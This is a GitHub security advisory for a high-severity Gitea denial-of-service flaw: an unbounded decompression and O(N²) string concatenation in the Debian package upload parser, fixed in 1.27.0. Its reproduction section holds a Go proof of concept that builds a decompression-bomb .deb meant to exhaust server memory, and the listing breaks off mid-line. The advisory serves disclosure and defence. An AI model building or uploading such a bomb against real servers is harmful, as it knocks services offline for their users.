GitHub Advisoryadvisory · Go
GHSA-6hm7-3pwj-22rm Gitea: Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload
HIGH
Official page ↗
- Aliases
- CVE-2026-56755
- Ecosystem
- Go
- Packages
- code.gitea.io/gitea
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
- Weaknesses
- CWE-409
- Reviewed
- 2026-07-21
Affected packages
• Go code.gitea.io/gitea: < 1.27.0 → fixed in 1.27.0
Description
Gitea's Debian package registry parser contains an unbounded decompression vulnerability in ParseControlFile. When processing an uploaded `.deb` file, the parser decompresses `control.tar.gz` and copies the entire uncompressed stream into a `strings.Builder` via a `TeeReader`, with no limit on how much data is read. Because `DEFLATE` compression can achieve ratios exceeding 100:1 on repetitive input, an attacker can craft an 83 MB `.deb` payload that expands to over 16 GB during parsing, exhausting server memory before any content validation runs. A second issue compounds this: continuation lines in the Description field are concatenated with `+=` at modules/packages/debian/metadata.go:161 inside a loop, producing `O(N²)` allocation and copy work that stalls the CPU even at moderate line counts. Any authenticated user with write access to the package registry can trigger a complete denial of service with a single upload request to the handler at routers/api/packages/debian/debian.go:146.
Root Cause
There are two distinct root causes that can be exploited independently or together.
1. Unbounded decompression (decompression bomb)
ParsePackage wraps the control.tar member in a decompressor but never constrains how many bytes that decompressor is allowed to produce:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L88-L110
The resulting inner reader is passed directly to the tar reader, and from there to `ParseControlFile`. Inside `ParseControlFile`,
every byte that the `bufio.Scanner` reads from the decompressed stream is simultaneously written into an unbounded
`strings.Builder` via `io.TeeReader`:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L147-L150
There is no call to io.LimitReader at any point in this chain. Other package format parsers in the same codebase — pub, conan, and cargo — all wrap their readers with `io.LimitReader` before consuming them. The Debian parser does not, making it the only one in the registry vulnerable to this class of attack.
2. O(N²) string concatenation
For each continuation line belonging to the Description field, the parser appends to a plain string with +=:
https://github.com/go-gitea/gitea/blob/9155a81b9daf1d46b2380aa91271e623ac947c1e/modules/packages/debian/metadata.go#L158-L164
Because Go strings are immutable, every `+=` allocates a new backing array and copies the entire accumulated description into it. A description with N continuation lines triggers O(N²) total bytes of allocation and copying. At 500 000 lines this produces roughly 250 GB of cumulative copy work, saturating a CPU core and driving the GC into a tight collection loop regardless of available RAM.
Reproducing
I have reproduced the issue in a Docker container with the following PoC. It may need tweaks based on the memory you are reproducing it with.
This has been reproduced on commit `9155a81b9daf1d46b2380aa91271e623ac947c1e`.
All the files go in the gitea file directory.
`cmd/poc/main.go`
```go
package main
import (
"archive/tar"
"bytes"
"compress/gzip"
"fmt"
"io"
"os"
"runtime"
"strings"
"time"
"github.com/blakesmith/ar"
debian_module "gitea.dev/modules/packages/debian"
)
// targetUncompressed is the desired size of the uncompressed control file.
// Set comfortably above the 12 GB container limit so the OOM kill is reliable.
const targetUncompressed = 15 * 1024 * 1024 * 1024 // 15 GB
// padLine is the filler field written after the required package fields.
// Using an unknown field key ("X") means the parser discards the value but the
// TeeReader still copies every byte into control.Builder — that is the bug.
// Unlike Description continuation lines this does NOT trigger the O(N²) path,
// so memory exhaustion is purely linear and fast.
const padLine = "X: a\n" // 5 bytes
// controlHeader is a minimal valid Debian control file preamble.
const controlHeader = "Package: evil\n" +
"Version: 1.0\n" +
"Architecture: amd64\n" +
"Maintainer: Evil Hacker \n" +
"Description: exploit\n"
func printMem() {
var m runtime.MemStats
runtime.ReadMemStats(&m)
// Print RSS-equivalent (HeapSys + StackSys covers most process memory).
fmt.Printf("[mem] HeapAlloc=%.2f GB Sys=%.2f GB TotalAlloc=%.2f GB\n",
float64(m.HeapAlloc)/1e9,
float64(m.Sys)/1e9,
float64(m.TotalAlloc)/1e9,
)
}
// buildControlTarGz streams a gzip-compressed tar archive containing a single
// "control" entry whose uncompressed size is ~targetUncompressed bytes.
// Writing is done in large batches so the loop itself is fast; gzip compresses
// the repetitive content to a fraction of its original size.
func buildControlTarGz(w io.Writer) error {
gzw, err := gzip.NewWriterLevel(w, gzip.BestSpeed)
if err != nil {
return fmt.Errorf("gzip.NewWriter: %w", err)
}
tw := tar.NewWriter(gzw)
numPadLines := (targetUncompressed - len(controlHeader)) / len(padLine)
totalSize := int64(len(controlHeader)) + int64(numPadLines)*int64(len(padLine))
if err := tw.WriteHeader(&tar.Header{
Name: "./control",
Mode: 0o644,
Size: totalSize,
ModTime: time.Now(),
Typeflag: tar.TypeReg,
}); err != nil {
return fmt.Errorf("tar WriteHeader: %w", err)
}
if _, err := tw.Write([]byte(controlHeader)); err != nil {
return fmt.Errorf("write header: %w", err)
}
// Write padLine in 5 MB batches (1 M lines × 5 bytes).
const batchLines = 1_000_000
batch := []byte(strings.Repeat(padLine, batchLines))
fullBatches := numPadLines / batchLines
remainder := numPadLines % batchLines
fmt.Printf(" Streaming %d lines (%.1f GB) through gzip...\n",
numPadLines, float64(totalSize)/1e9)
t0 := time.Now()
for i := range fullBatches {
if _, err := tw.Write(batch); err != nil {
return fmt.Errorf("batch write: %w", err)
}
if i%500 == 0 && i > 0 {
pct := float64(i) / float64(fullBatches) * 100
fmt.Printf(" ... %.0f%% (%.1fs)\n", pct, time.Since(t0).Seconds())
}
}
if remainder > 0 {
if _, err := tw.Write(batch[:remainder*len(padLine)]); err != nil {
return fmt.Errorf("remainder write: %w", err)
}
}
if err := tw.Close(); err != nil {
return fmt.Errorf("tar close: %w", err)
}
if err := gzw.Close(); err != nil {
return fmt.Errorf("gzip close: %w", err)
}
fmt.Printf(" Done in %.1fs\n", time.Since(t0).Seconds())
return nil
}
// buildDeb writes a complete .deb (ar archive) to w. The control.tar.gz member
// is the bomb; data.tar.gz is empty.
func buildDeb(w io.Writer) error {
// Buffer control.tar.gz first so we know its compressed size for the ar header.
var ctrlBuf bytes.Buffer
fmt.Println("[phase 1] Generating control.tar.gz (compressed payload)...")
if err := buildControlTarGz(&ctrlBuf); err != nil {
return err
}
ctrlBytes := ctrlBuf.Bytes()
fmt.Printf(" control.tar.gz compressed size: %.2f MB\n", float64(len(ctrlBytes))/1e6)
// Empty data.tar.gz
var dataBuf bytes.Buffer
dgzw, _ := gzip.NewWriterLevel(&dataBuf, gzip.BestSpeed)
tar.NewWriter(dgzw).Close()
dgzw.Close()
dataBytes := dataBuf.Bytes()
arw := ar.NewWriter(w)
if err := arw.WriteGlobalHeader(); err != nil {
return err
}
now := time.Now()
for _, member := range []struct {
name string
data []byte
}{
{"debian-binary", []byte("2.0\n")},
{"control.tar.gz", ctrlBytes},
{"data.tar.gz", dataBytes},
} {
if err := arw.WriteHeader(&ar.Header{
Name: member.name,
Size: int64(len(member.data)),
Mode: 0o644,
ModTime: now,
}); err != nil {
return fmt.Errorf("ar header %s: %w", membe…
Related
Alias · CVE (1)
- CVE-2026-56755 Denial of Service (CPU & Memory Exhaustion) via O(N^2) String Concatenation in Debian Package Upload vulnerability
Weakness · CWE (1)
- CWE-409 Improper Handling of Highly Compressed Data (Data Amplification) weakness
References
- https://github.com/go-gitea/gitea/security/advisories/GHSA-6hm7-3pwj-22rm web
- https://github.com/go-gitea/gitea/pull/38406 web
- https://github.com/go-gitea/gitea/pull/38426 web
- https://github.com/go-gitea/gitea/commit/de4b8277e9cb576f2315fb03b5ab6478b42a1d31 web
- https://github.com/go-gitea/gitea/commit/f69e15afe7496cc62e96dab244629c69eb31a7bf web
- https://github.com/go-gitea/gitea package
- https://github.com/go-gitea/gitea/releases/tag/v1.27.0 web